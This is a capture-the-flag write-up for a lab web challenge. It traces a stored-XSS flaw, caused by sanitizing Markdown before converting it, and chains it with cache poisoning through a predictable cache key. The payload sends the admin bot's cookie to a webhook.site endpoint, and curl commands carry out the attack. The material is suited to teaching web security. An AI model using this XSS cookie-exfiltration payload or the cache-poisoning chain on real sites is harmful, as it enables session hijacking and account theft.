Skip to content

Felonious Forums

Scenario

Our threat intelligence has traced a reseller of the GrandMonty Ransomware linked with the Monkey Business group to this illegal forums platform. We need you to investigate the platform to find any security loopholes that can provide us access to the platform.

Enumeration

The challenge is an online forum:

alt text

A .zip archive containing the source code for the application and a Dockerfile for setting up an instance locally is also provided.

Registration works. Once logged in, the forum can be accessed:

alt text

Logged in users are permitted to read and reply to posts as well as creating new posts using a custom composer that accepts Markdown:

alt text

The contents are converted to HTML when submitted to the /threads/create endpoint. The route definition is found in route/index.js:

routes/index.js
...
router.post('/threads/create', AuthMiddleware, async (req, res) => {
    const {title, content, cat_id} = req.body;

    if (cat_id == 1) {
        if (req.user.user_role !== 'Administrator') {
            return res.status(403).send(response('Not Allowed!'));
        }
    }

    category = await db.getCategoryById(parseInt(cat_id));

    if(category.hasOwnProperty('id')) {
        try {
            createThread = await db.createThread(req.user.id, category.id, title);
        }
        catch {
            return res.redirect('/threads/new');
        }

        newThread = await db.getLastThreadId();
        html_content = makeHTML(content);

        return db.postThreadReply(req.user.id, newThread.id, filterInput(html_content))
            .then(() => {
                return res.redirect(`/threads/${newThread.id}`);
            })
            .catch((e) => {
                return res.redirect('/threads/new');
            });
    } else {
        return res.redirect('/threads/new');
    }
});
...

The Markdown content is converted to HTML by the makeHTML() function defined in helpers/MDHelper.js. Before the content is inserted into the database, it's passed through the filterInput() to remove potentially malicious JavaScript:

helpers/MDHelper.js
const showdown        = require('showdown')
const createDOMPurify = require('dompurify');
const { JSDOM }       = require('jsdom');

const conv = new showdown.Converter({
    completeHTMLDocument: false,
    tables: true,
    ghCodeBlocks: true,
    simpleLineBreaks: true,
    strikethrough: true,
    metadata: false,
    emoji: true
});

const filterInput = (userInput) => {
    window = new JSDOM('').window;
    DOMPurify = createDOMPurify(window);
    return DOMPurify.sanitize(userInput, {ALLOWED_TAGS: ['strong', 'em', 'img', 'a', 's', 'ul', 'ol', 'li']});
}

const makeHTML = (markdown) => {
    return conv.makeHtml(markdown);
}

module.exports = {
    filterInput,
    makeHTML
};

In addition to the /threads/create route above, another way of triggering the Markdown conversion is to preview a post before submitting it. This triggers the /threads/preview route:

routes/index.js
...
router.post('/threads/preview', AuthMiddleware, routeCache.cacheSeconds(30, cacheKey), async (req, res) => {
    const {title, content, cat_id} = req.body;

    if (cat_id == 1) {
        if (req.user.user_role !== 'Administrator') {
            return res.status(403).send(response('Not Allowed!'));
        }
    }

    category = await db.getCategoryById(parseInt(cat_id));
    safeContent = makeHTML(filterInput(content));

    return res.render('preview-thread.html', {category, title, content:safeContent, user:req.user});
});
...

Two aspects to this route that are important for exploiting it are highlighted above. The first is the difference between this route and /threads/create, and specifically the order in which the content is converted (using makeHTML()) and sanitized (using filterContent()):

  • In threads/create, the order is makeHTML(), then filterInput().
  • In threads/preview, the order is filterInput(), then makeHTML().

The order of operations for converting and saniziting the content matters. If the Markdown content is converted, then sanitized (as is the case above), any malicious JavaScript generated in the conversion is stripped. On the other hand, if the sanitization is done before the conversion, any JavaScript generated in the conversion process remains in the output HTML and gets inserted into the database.

Any JavaScript that can be injected into the database this way is a potential XSS attack vector. An example payload for this attack vector is presented here:

![Uh oh...]("onerror="alert('XSS'))

When converted to HTML, this becomes:

<img src="" onerror="alert('XSS') alt="Uh oh...">

In this case, if the sanitization is done before the HTML is generated, the filtering will have no effect.

Testing the above payload by creating a new thread and previewing it confirms that the application is vulnerable to XSS:

alt text

The second aspect of this route is the preview caching done on line 3 above. The caching is based on a key that is uniquely generated for each user:

routes/index.js

1
2
3
4
5
...
const cacheKey = (req, res) => {
    return `_${req.headers.host}_${req.url}_${(req.headers['x-forwarded-for'] || req.ip)}`;
}
...

The practical consequence of this is that any exploit that triggers the XSS vulnerability will only be visible for the user triggering it. On the other hand, the caching can be abused in a cache poisoning attack against another user by generating a fake cache key.

From the snippet above, the cacheKey() function generates predictable cache keys by combining the request URL, the request Host header and the X-Forwarded-For header.

For instance, a user navigating to /threads/preview?12345 from localhost will receive the following cache key:

_127.0.0.1:1337_/threads/preview?12345_127.0.0.1

Exploit

With the XSS vulnerability mapped out, the next step is to exploit it in a way that leaks the flag.

The application source code includes a bot script (bot.js) that acts as an administrator browsing reported posts. The goal is to leak a cookie from this browser session which contains the flag:

bot.js

...
const flag = fs.readFileSync('/flag.txt', 'utf8');
...
const visitPost = async (id) => {
    try {
        const browser = await puppeteer.launch(browser_options);
        let context = await browser.createIncognitoBrowserContext();
        let page = await context.newPage();

        let token = await JWTHelper.sign({ username: 'moderator', user_role: 'moderator', flag: flag });
        await page.setCookie({
            name: "session",
            'value': token,
            domain: "127.0.0.1:1337"
        });

        await page.goto(`http://127.0.0.1:1337/report/${id}`, {
            waitUntil: 'networkidle2',
            timeout: 5000
        });
        await page.waitForTimeout(2000);
        await browser.close();
    } catch(e) {
        console.log(e);
    }
};
...

In order to achieve this, the idea is to chain the XSS vulnerability with a cache poisoning attack. Since the bot will open reports without verification (line 17 above), it can be tricked into navigating to a post preview containing the XSS payload.

Poisoning the cache in a way that makes the bot see the XSS payload is a matter of setting the required request parameters when generating the payload:

1
2
3
URL: http://127.0.0.1:1337/threads/preview
Host: 127.0.0.1:1337
X-Forwarded-For: 127.0.0.1

The next step in building the attack is to exfiltrate the bot's browser cookies. This can be achieved by getting the bot to send a GET request (i.e. navigate to an URL). By constructing the payload in a way that attaches the browser cookies to the request, the request can be monitored and inspected using a public webhook service such as Webhook.site.

Combining the webhook.site endpoint and the JavaScript necessary to exfiltrate the user's cookies gives the following Markdown payload:

title=""&content=![Uh oh...](https://www.example.com/image.png"onerror="document.images[0].src='https://webhook.site/5087ae05-e512-49d4-a1d5-e373ec56c105?x='+document.cookie)

Warning

Although not used for anything, the title field needs to be included in the URL above. The application doesn't return any error if it's not included, but the payload won't work without it.

The attack is carried out in two steps:

  1. A POST request is sent to the /threads/preview endpoint with the XSS payload.
  2. A POST request is sent to the /api/report preview with ../threads/preview as the post_id parameter.

The two steps can be carried out using cURL:

1
2
3
curl http://94.237.54.192:1337/threads/preview -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAsInVzZXJuYW1lIjoiYSIsInJlcHV0YXRpb24iOjAsImNyZWRpdHMiOjEwMCwidXNlcl9yb2xlIjoiTmV3YmllIiwiYXZhdGFyIjoibmV3YmllLndlYnAiLCJqb2luZWQiOiIyMDI1LTA2LTE2IDA4OjUyOjA5IiwiaWF0IjoxNzUwMDY3ODMzfQ.NJW0LtW_zlZftdI9Pp25ST94K6wBaH3l8UrbLxqxX20' -H 'Host: 127.0.0.1:1337' -H 'X-Forwarded-For: 127.0.0.1' -X POST -d "title=\"\"&content=\![Uh oh...\](https://www.example.com/image.png\"onerror=\"document.images[0].src='https://webhook.site/5087ae05-e512-49d4-a1d5-e373ec56c105?x='+document.cookie)"

curl http://94.237.54.192:1337/api/report -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAsInVzZXJuYW1lIjoiYSIsInJlcHV0YXRpb24iOjAsImNyZWRpdHMiOjEwMCwidXNlcl9yb2xlIjoiTmV3YmllIiwiYXZhdGFyIjoibmV3YmllLndlYnAiLCJqb2luZWQiOiIyMDI1LTA2LTE2IDA4OjUyOjA5IiwiaWF0IjoxNzUwMDY3ODMzfQ.NJW0LtW_zlZftdI9Pp25ST94K6wBaH3l8UrbLxqxX20' -H 'Host: 127.0.0.1:1337' -H 'Content-Type: application/json' -X POST -d "{\"post_id\": \"../threads/preview\"}"

Once the bot visits the webhook URL, the cookie is leaked:

alt text

The cookie is JWT encoded and be decoding using an online JWT decoder:

alt text